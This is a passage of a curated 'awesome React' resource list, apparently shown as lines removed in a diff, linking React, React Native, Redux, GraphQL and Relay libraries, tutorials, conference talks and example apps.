--   [qrcode.react](https://github.com/zpao/qrcode.react) - QR component for use with React
--   [react-archer](https://github.com/pierpo/react-archer) - Draw arrows between React elements
--   [react-pdf-viewer](https://github.com/phuoc-ng/react-pdf-viewer) - A PDF viewer made for React
--   [react-parallax-tilt](https://github.com/mkosir/react-parallax-tilt) - Easily apply tilt hover effect on React components
--   [react-popper](https://github.com/popperjs/react-popper) - Position tooltips and popovers in an elegant, performant manner
--   [react-tsparticles](https://github.com/matteobruni/tsparticles) - Easily create highly customizable particles animations
--   [react-spring](https://github.com/pmndrs/react-spring) - Spring-physics based animation library for React applications
--   [framer-motion](https://github.com/framer/motion) - A React library to power production-ready animations
--   [react-accessible-accordion](https://github.com/springload/react-accessible-accordion) - React Component for creating an 'Accordion' that adheres to the WAI ARIA spec for accessibility.
--   [react-truncate-markup](https://github.com/parsable/react-truncate-markup) - React component for truncating JSX markup.
--   [react-cookie](https://github.com/reactivestack/cookies) - Universal cookies for React
--   [react-slick](https://github.com/akiran/react-slick) - Carousel component built with React
--   [react-gtm-module](https://github.com/alinemorelli/react-gtm) - Google Tag Manager Module for React
--   [react-device-detect](https://github.com/duskload/react-device-detect) - Detect device for React
--   [react-colorful](https://github.com/omgovich/react-colorful) - A tiny (2,5 KB), dependency-free, fast and accessible color picker component
--   [react-modal](https://github.com/reactjs/react-modal) - Accessible modal dialog component for React
--   [cleave.js](https://github.com/nosir/cleave.js) - Format input text content when you are typing
--   [react-fontawesome](https://github.com/FortAwesome/react-fontawesome) - Font Awesome 5 React component
-
-**React Testing**
-
--   [jest](https://github.com/facebook/jest) - Delightful JavaScript Testing Framework
--   [enzyme](https://github.com/airbnb/enzyme) - JavaScript Testing utilities for React
--   [react-testing-library](https://github.com/testing-library/react-testing-library) - Simple and complete React DOM testing utilities
--   [react-hooks-testing-library](https://github.com/mpeyper/react-hooks-testing-library) - React hooks testing utilities that encourage good testing practices
--   [majestic](https://github.com/Raathigesh/majestic) - Zero config GUI for Jest
-
-**React Libraries**
-
--   [react-border-wrapper](https://github.com/Metroxe/react-border-wrapper) - A wrapper for placing elements along div borders in React.
--   [react-magic](https://github.com/reactjs/react-magic) - Automatically AJAXify plain HTML with the power of React
--   [react-toolbox](https://github.com/react-toolbox/react-toolbox) - A set of React components implementing Google's Material Design specification
--   [tcomb-react](https://github.com/gcanti/tcomb-react) - Library allowing you to check all the props of your React components
--   [react-responsive](https://github.com/wearefractal/react-responsive) - Media queries in react for responsive design
--   [preact](https://git.io/preact) - Fast 3kb React alternative with the same ES6 API.
--   [riotjs](https://github.com/muut/riotjs) - A React-like, 3.5KB user interface library
--   [Maple.js](https://github.com/Wildhoney/Maple.js) - Bringing the concept of web-components to React
--   [react-i13n](https://github.com/yahoo/react-i13n) - A performant, scalable and pluggable approach to instrumenting your React application
--   [react-icons](https://github.com/gorangajic/react-icons) - svg react icons of popular icon packs
--   [react-open-doodles](https://github.com/lunahq/react-open-doodles) - Awesome free illustrations as react components.
--   [Keo](https://github.com/Wildhoney/Keo) - Plain functions for a more functional Deku approach to creating React components, with functional goodies such as pipe, memoize, etc...
--   [Bit](https://github.com/teambit/bit) - A virtual repository for managing and using react and other web components across applications
--   [AtlasKit](https://atlaskit.atlassian.com) - Atlassian's React UI library
--   [ReactiveSearch](https://github.com/appbaseio/reactivesearch) - UI components library for Elasticsearch
--   [Slate](https://github.com/ianstormtaylor/slate) - A completely customizable framework for building rich text editors.
--   [react-json-schema](https://github.com/TechniqueSoftware/react-json-schema) - Construct React elements from JSON by mapping JSON definitions to React components that you expose.
--   [react-lodash](https://github.com/typicode/react-lodash) - Lodash as React components
--   [react-helmet](https://github.com/nfl/react-helmet) - A document head manager for React
--   [react-snap](https://github.com/stereobooster/react-snap) - Zero-configuration framework-agnostic static prerendering for SPAs
--   [Draft.js](https://github.com/facebook/draft-js) - A React framework for building text editors
--   [refract](https://github.com/fanduel-oss/refract) - Harness the power of reactive programming to supercharge your components
--   [react-desktop](https://github.com/gabrielbull/react-desktop) - OS X and Windows UI components built with React
--   [reapop](https://github.com/LouisBarranqueiro/reapop) - A simple and customizable React notifications system
--   [react-extras](https://github.com/sindresorhus/react-extras) - Useful components and utilities for working with React
--   [react-instantsearch](https://github.com/algolia/react-instantsearch) - Lightning-fast search for React and React Native applications, by Algolia
--   [uppy](https://github.com/transloadit/uppy) - The next open source file uploader for web browsers
--   [react-motion](https://github.com/chenglou/react-motion) - A spring that solves your animation problems
--   [react-esi](https://github.com/dunglas/react-esi) - React Edge Side Includes
--   [react-aria](https://react-spectrum.adobe.com/react-aria/index.html) - Adobe's library of React Hooks that provides accessible UI primitives for your design system
--   [react-uploady](https://github.com/rpldy/react-uploady) - Modern file-upload components & hooks for React.
-
-**React Integration**
-
--   [ReasonReact](https://reasonml.github.io/reason-react/)
--   [React Rails](https://github.com/reactjs/react-rails)
--   [ReactJS.NET](https://github.com/reactjs/React.NET)
--   [om](https://github.com/swannodette/om) - ClojureScript interface
--   [Reagent](https://github.com/reagent-project/reagent) - A minimalistic ClojureScript interface to React.js
--   [Express React views](https://github.com/reactjs/express-react-views)
--   [React Page Middleware](https://github.com/reactjs/react-page-middleware)
--   [ngReact](https://github.com/davidchang/ngReact) - React Components in Angular
--   [coffee-react-transform](https://github.com/jsdf/coffee-react-transform) - Provides React JSX support for Coffeescript
--   [sprockets-coffee-react](https://github.com/jsdf/sprockets-coffee-react) - Sprockets preprocessor for CJSX
--   [react-kup](https://github.com/snd/react-kup) - A simple, non-intrusive alternative to jsx for coffeescript
--   [turbo-react](https://github.com/ssorallen/turbo-react) - Combine Turbolinks and React to apply DOM diffs
--   [react-bacon](https://github.com/jamesmacaulay/react-bacon) - A little module for using React with Bacon.js
--   [msx](https://github.com/insin/msx) - React's JSX Transformer, tweaked to output calls to Mithril
--   [react-backbone](https://github.com/jhudson8/react-backbone) - Backbone-aware mixins for react
--   [NestedReact](https://github.com/Volicon/NestedReact/) - transparent integration with Backbone Views and NestedTypes models
--   [backbone-reaction](https://github.com/jhudson8/backbone-reaction) - React, Backbone and then some
--   [react.backbone](https://github.com/usepropeller/react.backbone) - Plugin for React to make Backbone migration easier
--   [reactbone](https://github.com/andrejewski/reactbone) - React extensions for Backbone
--   [backbone-react-ui](https://github.com/securingsincity/backbone-react-ui) - React components for use with backbone and backbone paginator
--   [react-events](https://github.com/jhudson8/react-events) - Declarative managed event bindings for react components
--   [react-mixin-manager](https://github.com/jhudson8/react-mixin-manager) - React mixin registration manager
--   [react-topcoat by @plaxdan](https://github.com/plaxdan/react-topcoat) - Topcoat CSS components built with the React library
--   [react-topcoat by @arnemart](https://github.com/arnemart/react-topcoat) - A collection of React components for Topcoat
--   [reactdown](https://github.com/andreypopp/reactdown) - Write React components using markdown syntax
--   [react-jade](https://github.com/ForbesLindesay/react-jade) - Compile Jade to React JavaScript
--   [jade-react](https://github.com/duncanbeevers/jade-react) - Compile Jade templates to React.DOM expressions
--   [gulp-jade-react](https://github.com/duncanbeevers/gulp-jade-react) - Compile Jade templates into React de-sugared JSX with Gulp
--   [sbt-reactjs](https://github.com/ddispaltro/sbt-reactjs) - React SBT Plugin using npm
--   [scalajs-react](https://github.com/japgolly/scalajs-react) - A guilty affair between Scala.js and Facebook's React
--   [react-xtags](https://github.com/vjeux/react-xtags/) - Using React to implement xtags
--   [jreact](https://github.com/KnisterPeter/jreact) - React on server-side Java (with Rhino or Nashorn)
--   [React.hiccup](https://github.com/lantiga/react.hiccup) - A complete replacement for JSX written in sweet.js
--   [react-play](https://github.com/ssorallen/react-play) - Rendering React components in the Play Framework with JDK8's Nashorn
--   [rx-react](https://github.com/fdecampredon/rx-react) - Utilities to works with React in a RxJS
--   [react-with-di](https://github.com/vojtajina/react-with-di) - A hacked prototype of React.js with DI
--   [reactfire](https://github.com/firebase/reactfire) - ReactJS mixin for easy Firebase integration
--   [react-clickdrag-mixin](https://github.com/tleunen/react-clickdrag-mixin) - ClickDrag mixin for React component
--   [react-masonry-mixin](https://github.com/eiriklv/react-masonry-mixin) - Standalone mixin for Masonry (@desandro)
--   [react-packery-mixin](https://github.com/eiriklv/react-packery-mixin) - Standalone mixin for Packery (Metafizzy)
--   [react-dropzone](https://github.com/paramaggarwal/react-dropzone) - Simple HTML5 drag-drop zone with React.js.
--   [aframe-react](https://github.com/ngokevin/aframe) - A-Frame VR + React
--   [react-three-fiber](https://github.com/react-spring/react-three-fiber) - A react reconciler for threejs (web and react-native)
--   [react-three](https://github.com/Izzimach/react-three) - React bindings to create and control a 3D scene using three.js
--   [react-three-renderer](https://github.com/toxicFork/react-three-renderer) - Render into a three.js canvas using React
--   [react-threejs](https://github.com/fritx/react-threejs) - Simplest bindings between React & Three.js
--   [react-masonry-css](https://github.com/paulcollett/react-masonry-css) - Fast Masonry layout powered by CSS, dependency free
--   [react-captcha](https://github.com/appleboy/react-recaptcha) - A react.js reCAPTCHA for Google
--   [reaptcha](https://github.com/sarneeh/reaptcha) - Clean, modern and simple React wrapper for Google reCAPTCHA
--   [react-recaptcha-that-works](https://github.com/douglasjunior/react-recaptcha-that-works) - A reCAPTCHA bridge for React that works
-
-**React State Management**
-
--   redux - Predictable State Container for JavaScript Apps
--   [mobx](https://github.com/mobxjs/mobx) - Simple, scalable state management
--   [react-query](https://github.com/tannerlinsley/react-query)
--   [flux](http://facebook.github.io/flux/) - Application architecture for building user interfaces
--   [recoil](https://github.com/facebookexperimental/Recoil) - Experimental state management library for React apps
--   [xstate-react](https://github.com/davidkpiano/xstate/tree/master/packages/xstate-react) - State machines and statecharts for the modern web
--   [zustand](https://github.com/pmndrs/zustand) - Bear necessities for state management in React
--   [easy-peasy](https://github.com/ctrlplusb/easy-peasy) - Vegetarian friendly state for React
--   [hookstate](https://github.com/avkonst/hookstate) - The simple but very powerful and incredibly fast state management for React that is based on hooks
--   [effector](https://github.com/zerobias/effector) - Fast and powerful reactive state manager
--   [reactn](https://github.com/CharlesStover/reactn) - React, but with built-in global state management
-
-**React AR and VR**
-
--   [Viro React](https://viromedia.com/viroreact/) - Platform for rapidly building AR/VR applications using React Native
-
-**React Renderers**
-
--   [react-three-fiber](https://github.com/pmndrs/react-three-fiber) - A React renderer for Three.js
--   [react-pdf](https://github.com/diegomura/react-pdf) - Create PDF files using React
--   [ink](https://github.com/vadimdemedes/ink) - React for interactive command-line apps
--   [react-blessed](https://github.com/Yomguithereal/react-blessed) - A React renderer for blessed terminal interface library
--   [react-sketchapp](https://github.com/airbnb/react-sketchapp) - Render React components to Sketch
--   [react-figma](https://github.com/react-figma/react-figma) - A React renderer for Figma
--   [react-nil](https://github.com/pmndrs/react-nil) - A react null renderer
--   [remotion](https://github.com/JonnyBurger/remotion) - Create videos programmatically in React
-
-**Forms**
-
--   [formik](https://github.com/jaredpalmer/formik) - Build forms in React, without the tears
--   [react-hook-form](https://github.com/react-hook-form/react-hook-form) - React Hooks for forms validation
--   [react-jsonschema-form](https://github.com/mozilla-services/react-jsonschema-form) - A React component for building Web forms from JSON Schema
--   [react-final-form](https://github.com/final-form/react-final-form) - High performance subscription-based form state management for React
--   [unform](https://github.com/Rocketseat/unform) - Performance-focused API for React forms
--   [formily](https://github.com/alibaba/formily) - Alibaba Group Unified Form Solution
--   [uniforms](https://github.com/vazco/uniforms) - A React library for building forms from any schema
--   [formsy-react](https://github.com/formsy/formsy-react/) - A form input builder and validator for React
--   [react-formal](https://github.com/jquense/react-formal) - Sophisticated HTML form management for React
-
-**Autocomplete**
-
--   [react-autocomplete by @rackt](https://github.com/rackt/react-autocomplete) - WAI-ARIA compliant React autocomplete (Archived, read-only)
--   [react-autosuggest by @moroshko](https://github.com/moroshko/react-autosuggest) - WAI-ARIA compliant React autosuggest component
--   [react-autocomplete by @eliseumds](https://github.com/eliseumds/react-autocomplete) - Just tasting some ReactJS + RxJS
--   [react-autocomplete by @prometheusresearch](https://github.com/prometheusresearch/react-autocomplete) - Autocomplete widget based on React
--   [instatype by @gragland](https://github.com/gragland/instatype) - Simple react autocomplete component
--   [downshift](https://github.com/paypal/downshift) - 🏎 Primitives to build simple, flexible, WAI-ARIA compliant enhanced input React components
--   [React Bootstrap Typeahead](https://github.com/ericgio/react-bootstrap-typeahead) - A React-based typeahead that relies on Bootstrap for styling and was originally inspired by Twitter's typeahead.js.
-
-**Graphics**
-
--   [react-art](https://github.com/facebook/react-art) - React Bridge to the ART Drawing Library
--   [react-canvas](https://github.com/Flipboard/react-canvas) - High performance `<canvas>` rendering for React components
--   [react-famous](https://github.com/pilwon/react-famous) - Complex 3D animations UI at 60 FPS with Famo.us
--   [react-kinetic](https://github.com/freiksenet/react-kinetic) - HTML5 Canvas via KineticJS using React
--   [react-svg-morph](https://github.com/gorangajic/react-svg-morph) - morph your svg components one into another
--   [react-hooks-svgdrawing](https://github.com/kmkzt/react-hooks-svgdrawing) - SVG Drawing with React hooks
--   [react-svg-pan-zoom](https://github.com/chrvadala/react-svg-pan-zoom) - A React component that adds pan and zoom features to SVG.
-
-**Data Managing**
-
--   [immer](https://github.com/immerjs/immer) - Create the next immutable state by mutating the current one
--   [ReSub](https://github.com/Microsoft/ReSub) - A library for writing better React components and data stores
--   [immutable-js](https://github.com/immutable-js/immutable-js) - Immutable Data Collections for Javascript
--   [baobab](https://github.com/Yomguithereal/baobab) - JavaScript & TypeScript persistent and optionally immutable data tree with cursors
--   [WatermelonDB](https://github.com/Nozbe/WatermelonDB) - 🍉 Reactive & asynchronous database for powerful React and React Native apps ⚡️
--   [RxDB](https://github.com/pubkey/rxdb) - A realtime Database for JavaScript Applications
-
-**Maps**
-
--   [react-googlemaps](https://github.com/pieterv/react-googlemaps) - React interface to Google maps
--   [react-maps](https://github.com/matnel/react-maps) - A map component for React
--   [react-google-maps](https://github.com/tomchentw/react-google-maps) - React.js Google Maps integration component
--   [react-gmaps](https://github.com/MicheleBertoli/react-gmaps) - A Google Maps component for React.js
--   [react-map-gl](https://github.com/uber/react-map-gl) - A React wrapper for MapboxGL-js plus overlay API
--   [google-map-react](https://github.com/istarkov/google-map-react) - Isomorphic google map React component
--   [react-mapbox-gl](https://github.com/alex3165/react-mapbox-gl) - A mapbox-gl-js wrapper to make the API react friendly
--   [google-maps-react](https://github.com/fullstackreact/google-maps-react) - A declarative Google Map React component using React, lazy-loading dependencies, current-location finder and a test-driven approach by the Fullstack React team.
--   [react-leaflet](https://react-leaflet.js.org) - React components for Leaflet maps
--   [react-geo](https://github.com/terrestris/react-geo) - A set of geo-related components using react, antd, and ol
--   [pigeon-maps](https://github.com/mariusandra/pigeon-maps) - ReactJS maps without external dependencies
-
-**Charts**
-
--   [vx](https://github.com/airbnb/visx) - Visualization components
--   [victory](https://github.com/FormidableLabs/victory) - A collection of composable React components for building interactive data visualizations
--   [react-vis](https://github.com/uber/react-vis) - Data Visualization Components
--   [recharts](https://github.com/recharts/recharts) - Redefined chart library built with React and D3
--   [nivo](https://github.com/plouc/nivo) - Provides a rich set of data visualization components, built on top of the D3 and React libraries
--   [echarts-for-react](https://github.com/hustcc/echarts-for-react) - Apache ECharts components for React wrapper
--   [react-apexcharts](https://github.com/apexcharts/react-apexcharts) - React Component for ApexCharts
--   [chartify](https://github.com/kis/chartify) - React plugin for building charts using CSS
-
-### React Native
-
-Framework for building native apps using React
-
-**React Native General Resources**
-
--   [React Native Official Site](https://facebook.github.io/react-native/)
--   [React Native GitHub](https://github.com/facebook/react-native)
--   [React Native Newsletter](http://brentvatne.ca/react-native-newsletter/)
--   [React Native Playground](https://rnplay.org)
--   [React Native Awesome List](https://github.com/jondot/awesome-react-native)
--   [React Native StackOverflow](http://stackoverflow.com/questions/tagged/react-native)
--   [React Native Radio](https://devchat.tv/react-native-radio/)
-
-**React Native Tutorials**
-
--   [React Native Tutorial](https://facebook.github.io/react-native/docs/tutorial.html)
--   [Introducing React Native: Building Apps with JavaScript](http://www.raywenderlich.com/99473/introducing-react-native-building-apps-javascript)
--   [Introduction to React Native: Building iOS Apps with JavaScript](http://www.appcoda.com/react-native-introduction/)
--   [React Native Meets Async Functions](https://medium.com/the-exponent-log/react-native-meets-async-functions-3e6f81111173)
--   [Digital Smart Mirror lab with React Native](http://atticuswhite.com/blog/react-native-smart-mirror-lab/)
--   [The Beauty Of React Native: Building Your First iOS App With JavaScript (Part 1)](https://www.smashingmagazine.com/2016/04/the-beauty-of-react-native-building-your-first-ios-app-with-javascript-part-1/)
--   [The Beauty Of React Native: Building Your First iOS App With JavaScript (Part 2)](https://www.smashingmagazine.com/2016/04/how-to-build-your-first-ios-app-with-javascript/)
--   [A Mini-Course on React Native Flexbox](https://medium.com/@yoniweisbrod/a-mini-course-on-react-native-flexbox-2832a1ccc6)
--   [A Complete Guide to Flexbox](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
--   [Test driving react native applications](http://www.multunus.com/blog/2016/07/test-driving-react-native-applications/)
--   [Using React Native With TypeScript](https://medium.com/@jan.hesters/using-typescript-with-react-native-946aa4b4ae6f)
-
-**React Native Development Tools**
-
--   [react-native-code-push](https://github.com/microsoft/react-native-code-push) - React Native module for CodePush
-
-**React Native Sample Apps**
-
--   [HackerNews](https://github.com/iSimar/HackerNews-React-Native)
--   [Ziliun](https://github.com/sonnylazuardi/ziliun-react-native)
--   [FinanceReactNative](https://github.com/7kfpun/FinanceReactNative)
--   [SplashWalls](https://github.com/nashvail/SplashWalls)
--   [NBAreact](https://github.com/jbkuczma/NBAreact)
--   [Bus Timetable](https://github.com/EarlGeorge/timetable)
-
-**React Native Boilerplates**
-
--   [Create React Native App](https://github.com/react-community/create-react-native-app) - Create React Native apps that run on iOS, Android, and web
--   [Ignite](https://github.com/infinitered/ignite) - The hottest CLI for React Native, boilerplates, plugins, generators, and more!
-
-**React Native Awesome Components**
-
--   [Expo](https://expo.io) - The Expo platform for making cross-platform mobile apps
--   [react-navigation](https://reactnavigation.org) - Routing and navigation for your React Native apps
--   [react-native-social-share](https://github.com/doefler/react-native-social-share) - Use the iOS and Android native Twitter and Facebook share popup with React Native
--   [react-native-fbsdk](https://github.com/facebook/react-native-fbsdk) - A wrapper around the iOS Facebook SDK
--   [react-native-side-menu](https://github.com/Kureev/react-native-side-menu) - Simple customizable component to create side menu
--   [react-native-mapbox-gl](https://github.com/mapbox/react-native-mapbox-gl) - A Mapbox GL react native module
--   [react-native-icons](https://github.com/corymsmith/react-native-icons) - Quick and easy icons in React Native
--   [react-native-vector-icons](https://github.com/oblador/react-native-vector-icons) - 3000 Customizable Icons for React Native with support for NavBar/TabBar
--   [react-native-google-signin](https://github.com/apptailor/react-native-google-signin) - Google Signin for React Native
--   [react-native-picker-modal-view](https://github.com/pankod/react-native-picker-modal-view)
--   [react-native-gifted-chat](https://github.com/FaridSafi/react-native-gifted-chat) - The most complete chat UI for React Native
--   [react-native-fast-image](https://github.com/DylanVann/react-native-fast-image) - FastImage, performant React Native image component
--   [recyclerlistview](https://github.com/Flipkart/recyclerlistview) - High performance listview for React Native and web!
--   [react-native-largelist](https://github.com/bolan9999/react-native-largelist) - The best large list component for React Native
--   [react-native-gesture-handler](https://github.com/software-mansion/react-native-gesture-handler) - Declarative API exposing platform native touch and gesture system to React Native
--   [rn-placeholder](https://github.com/mfrachet/rn-placeholder) - Display some placeholder stuff before rendering your text or media content in React Native
-
-**React Native Libraries**
-
--   [sentry-react-native](https://github.com/getsentry/sentry-react-native) - Real-time crash reporting for your web apps, mobile apps, and games.
--   [realm-js](https://github.com/realm/realm-js) - Realm is a mobile database: an alternative to SQLite & key-value stores
--   [react-native-device-info](https://github.com/react-native-community/react-native-device-info) - Device Information for React Native iOS and Android
--   [react-native-react-bridge](https://github.com/inokawa/react-native-react-bridge) - A toolset to run React web app in React Native and handle communication between them.
--   [uncompress-react-native](https://github.com/didisouzacosta/uncompress-react-native) - Simple library to decompress files .zip, .rar, .cbz, .cbr in React Native.
-
-### Redux
-
-Predictable State Container for JavaScript Apps
-
-**Redux General Resources**
-
--   [Redux GitHub](https://github.com/reduxjs/redux)
--   [Redux Official Site](http://redux.js.org)
--   [Awesome Redux List](https://github.com/xgrommx/awesome-redux)
-
-**Redux Tools**
-
--   [react-redux](https://github.com/reduxjs/react-redux) - Official React bindings for Redux
--   [redux-toolkit](https://github.com/reduxjs/redux-toolkit) - The official, opinionated, batteries-included toolset for efficient Redux development
--   [redux-devtools](https://github.com/reduxjs/redux-devtools) - DevTools for Redux with hot reloading, action replay, and customizable UI
--   [reselect](https://github.com/reduxjs/reselect) - Selector library for Redux
--   [redux-thunk](https://github.com/reduxjs/redux-thunk) - Thunk middleware for redux
--   [redux-saga](https://github.com/redux-saga/redux-saga) - An alternative side effect model for Redux apps
--   [connected-react-router](https://github.com/supasate/connected-react-router) - A Redux binding for React Router
--   [redux-form](https://github.com/erikras/redux-form) - A Higher Order Component using react-redux to keep form state
--   [normalizr](https://github.com/paularmstrong/normalizr) - Normalizes nested JSON according to a schema
--   [redux-observable](https://github.com/redux-observable/redux-observable) - RxJS middleware for Redux
--   [redux-undo](https://github.com/omnidan/redux-undo) - Higher order reducer to add undo/redo functionality to redux state containers
--   [redux-persist](https://github.com/rt2zz/redux-persist) - Persist and rehydrate a redux store
-
-**Redux Tutorials**
-
--   [Redux Essentials](https://redux.js.org/tutorials/essentials/part-1-overview-concepts)
--   [Redux Fundamentals](https://redux.js.org/tutorials/fundamentals/part-1-overview)
--   [Fundamentals of Redux Course from Dan Abramov](https://app.egghead.io/playlists/fundamentals-of-redux-course-from-dan-abramov-bd5cc867)
--   [Building React Applications with Idiomatic Redux](https://app.egghead.io/courses/building-react-applications-with-idiomatic-redux)
-
-### GraphQL
-
-A query language for your API
-
-**GraphQL General Resources**
-
--   [GraphQL Official Site](http://graphql.org)
--   [GraphQL Specification](https://github.com/graphql/graphql-spec)
--   [GraphQL Specification Repository](https://github.com/facebook/graphql)
-
-**GraphQL Tools**
-
--   [graphql-js](https://github.com/graphql/graphql-js) - A reference implementation of GraphQL for **JavaScript**
--   [express-graphql](https://github.com/graphql/express-graphql) - Create a GraphQL HTTP server with **Express**
--   [Apollo](https://www.apollographql.com) - Industry-standard GraphQL implementation
--   [GraphQL Playground - GraphQL IDE for better development workflows](https://github.com/graphql/graphql-playground)
-
-**GraphQL Tutorials**
-
--   [GraphQL Introduction](http://facebook.github.io/react/blog/2015/05/01/graphql-introduction.html)
--   [How to Graphql - The Fullstack Tutorial for GraphQL](https://howtographql.com)
-
-**GraphQL Implementations**
-
--   [graphql-ruby](https://github.com/rmosolgo/graphql-ruby) - **Ruby** implementation of GraphQL
--   [graphql-java](https://github.com/graphql-java/graphql-java) - GraphQL **Java** implementation
--   [sangria](https://github.com/sangria-graphql/sangria) - **Scala** GraphQL client and server library
--   [graphql-php](https://github.com/webonyx/graphql-php) - A **PHP** port of GraphQL reference implementation
--   [graphene](https://github.com/graphql-python/graphene) - GraphQL framework for **Python**
--   [graphql-dotnet](https://github.com/graphql-dotnet/graphql-dotnet) - GraphQL for **.NET**
--   [graphql-go](https://github.com/graphql-go/graphql) - GraphQL for **Go**
--   [juniper](https://github.com/graphql-rust/juniper) - GraphQL server library for **Rust**
-
-**Database Integration**
-
--   [Hasura](https://hasura.io) - Instant GraphQL for all your data
--   [Prisma](https://www.prisma.io) - Next-generation ORM
-
-    for Node.js and TypeScript
-
--   [graphql-sequelize](https://github.com/mickhansen/graphql-sequelize) - GraphQL & Relay for MySQL & Postgres via Sequelize
-
-### Relay
-
-Data-Driven React Applications
-
-**Relay General Resources**
-
--   [Relay Offical Site](https://relay.dev)
--   [Relay GitHub](https://github.com/facebook/relay)
-
-**Relay Tutorials**
-
--   [Official Relay Getting Started](https://facebook.github.io/relay/docs/en/introduction-to-relay.html)
--   [Relay for Visual Learners](http://sgwilym.github.io/relay-visual-learners/)
--   [Getting Started with Relay](https://auth0.com/blog/2015/10/06/getting-started-with-relay/)
--   [Relay and Routing](https://medium.com/@cpojer/relay-and-routing-36b5439bad9)
-
-**Relay Tools**
-
--   [graphql-relay-js](https://github.com/graphql/graphql-relay-js) - A library to help construct a graphql-js server supporting react-relay
--   [react-router-relay](https://github.com/relay-tools/react-router-relay) - Relay integration for React Router
--   [relay-local-schema](https://github.com/relay-tools/relay-local-schema) - Use Relay without a GraphQL server
--   [relay-codemod](https://github.com/facebook/jscodeshift) - Codemod scripts based for on jsodeshift to update Relay APIs
-
-### Videos
-
-**reactjsvideos.com**
-
-**Important Talks**
-
--   [Pete Hunt: React: Rethinking best practices - JSConf EU 2013](https://www.youtube.com/watch?v=x7cQ3mrcKaY)
--   [Pete Hunt: React: Rethinking Best Practices (updated) - JSConf.Asia 2013](https://www.youtube.com/watch?v=DgVS-zXgMTk)
--   [Tom Occhino and Jordan Walke: JS Apps at Facebook - JSConfUS 2013](https://www.youtube.com/watch?v=GW0rj4sNH2w)
--   [React: CSS in JS](http://blog.vjeux.com/2014/javascript/react-css-in-js-nationjs.html)
--   [Pete Hunt: Be Predictable, Not Correct - Mountain West JavaScript 2014](https://www.youtube.com/watch?v=h3KksH8gfcQ)
--   [Hacker Way: Rethinking Web App Development at Facebook](https://www.youtube.com/watch?v=nYkdrAPrdcw)
--   [Christopher Chedeau: Why does React Scale? - JSConf2014](https://www.youtube.com/watch?v=D-ioDiacTm8)
--   [Christopher Chedeau: React's Architecture - OSCON 2014](https://www.youtube.com/watch?v=eCf5CquV_Bw)
--   [Pete Hunt: React RESTful UI Rendering - Strange Loop 2014](https://www.youtube.com/watch?v=IVvHPPcl2TM)
--   [Pete Hunt: How Instagram.com Works - OSCON 2014](https://www.youtube.com/watch?v=VkTCL6Nqm6Y)
--   [Bill Fisher and Jing Chen: React and Flux - NewCircle Training 2014](https://www.youtube.com/watch?v=i__969noyAM)
--   [Sebastian Markbage: Minimal API Surface Area - JSConf EU 2014](https://www.youtube.com/watch?v=4anAwXYqLG8)
--   [Avik Chaudhuri: JavaScript Testing and Static Type Systems at Scale - Scale 2014](https://www.youtube.com/watch?v=M8x0bc81smU)
--   [React Native & Relay: Bringing Modern Web Techniques to Mobile - f8 2015)](https://www.youtube.com/watch?v=X6YbAKiLCLU)
--   [Citrusbyte Presents GraphQL: A Horizontal Platform with Nick Schrock](https://www.youtube.com/watch?v=LQFQl8EsV3k)
--   [Laney Kuenzel: Mutations and Subscriptions in Relay - JSConf 2015](https://www.youtube.com/watch?v=mmke4w4gc6c)
--   [React Today and Tomorrow and 90% Cleaner React With Hooks - React Conf 2018](https://www.youtube.com/watch?v=dpw9EHDh2bM)
--   [React Conferences](https://reactjs.org/community/conferences.html)
--   [React Videos](https://reactjs.org/community/videos.html)
--   [Awesome React Talks](https://github.com/tiaanduplessis/awesome-react-talks)
-
-**React.js Conf 2015 Playlist**
-
-**ReactEurope Conf 2015 Day 1 Playlist**
-
-**ReactEurope Conf 2015 Day 2 Playlist**
-
-**ReactRally Conf 2015 Playlist**
-
-**React.js Conf 2016 Playlist**
-
-**React Amsterdam 2016 Playlist**
-
-**ReactEurope Conf 2016 Day 1 Playlist**
-
-**ReactEurope Conf 2016 Day 2 Playlist**
-
-**ReactRally Conf 2016 Playlist**
-
-**React Conf 2017 Playlist**
-
-**React.js Amsterdam 2018 Playlist**
-
-**React Amsterdam 2019 Playlist**
-
-**Video Tutorials**
-
--   [Trying React Hooks for the first time with Dan Abramov](https://www.youtube.com/watch?v=G-aO5hzo1aw)
-
-### Demo React Apps
-
--   [hackernews-react-graphql](https://github.com/clintonwoo/hackernews-react-graphql) - Hacker News clone rewritten with universal JavaScript, using React and GraphQL
--   [react-reduction](https://github.com/reduction-admin/react-reduction) - Free Admin Template Built with React and Bootstrap4
--   [reactjs-tmdb-app](https://github.com/SKempin/reactjs-tmdb-app) - Responsive React The Movie Database App
--   [react-shopping-cart](https://github.com/jeffersonRibeiro/react-shopping-cart) - Simple ecommerce cart application built with React Redux
-
-### Real React Apps
-
--   [kibana](https://github.com/elastic/kibana) - Your window into the Elastic Stack
--   [firefox debugger](https://github.com/firefox-devtools/debugger) - The Firefox debugger that works anywhere
--   [spectrum](https://github.com/withspectrum/spectrum) - Simple, powerful online communities
--   [mattermost](https://github.com/mattermost/mattermost-webapp) - Open source Slack alternative
--   [overreacted](https://github.com/gaearon/overreacted.io) - Personal blog by Dan Abramov
--   [winamp2-js](https://github.com/captbaritone/winamp2-js) - Winamp 2 reimplemented for the browser
--   [dnote](https://github.com/dnote/dnote) - A command line notebook with multi-device sync and web interface
-
-<!---->
-
--   React
-    -   React General Resources
-    -   React Community
-    -   React Online Playgrounds
-    -   React Tutorials
-        -   React General Tutorials
-        -   React Hooks
-        -   React and TypeScript
-        -   React Performance
-        -   React Internals
-        -   React Interview Questions
-    -   React Tools
-        -   React Development Tools
-        -   React Frameworks
-        -   React Styling
-        -   React Routing
-        -   React Component Libraries
-        -   React Awesome Components
-        -   React Testing
-        -   React Libraries
-        -   React Integration
-        -   React State Management
-        -   React AR and VR
-        -   React Renderers
-        -   Forms
-        -   Autocomplete
-        -   Graphics
-        -   Data Managing
-        -   Maps
-        -   Charts
--   React Native
-    -   React Native General Resources
-    -   React Native Tutorials
-    -   React Native Development Tools
-    -   React Native Sample Apps
-    -   React Native Boilerplates
-    -   React Native Awesome Components
-    -   React Native Libraries
--   Redux
-    -   Redux General Resources
-    -   Redux Tools
-    -   Redux Tutorials
--   GraphQL
-    -   GraphQL General Resources
-    -   GraphQL Tools
-    -   GraphQL Tutorials
-    -   GraphQL Implementations
-    -   Database Integration
--   Relay
-    -   Relay General Resources
-    -   Relay Tutorials
-    -   Relay Tools
--   Videos
-    -   Important Talks
-    -   React.js Conf 2015 Playlist
-    -   ReactEurope Conf 2015 Day 1 Playlist
-    -   ReactEurope Conf 2015 Day 2 Playlist
-    -   ReactRally Conf 2015 Playlist
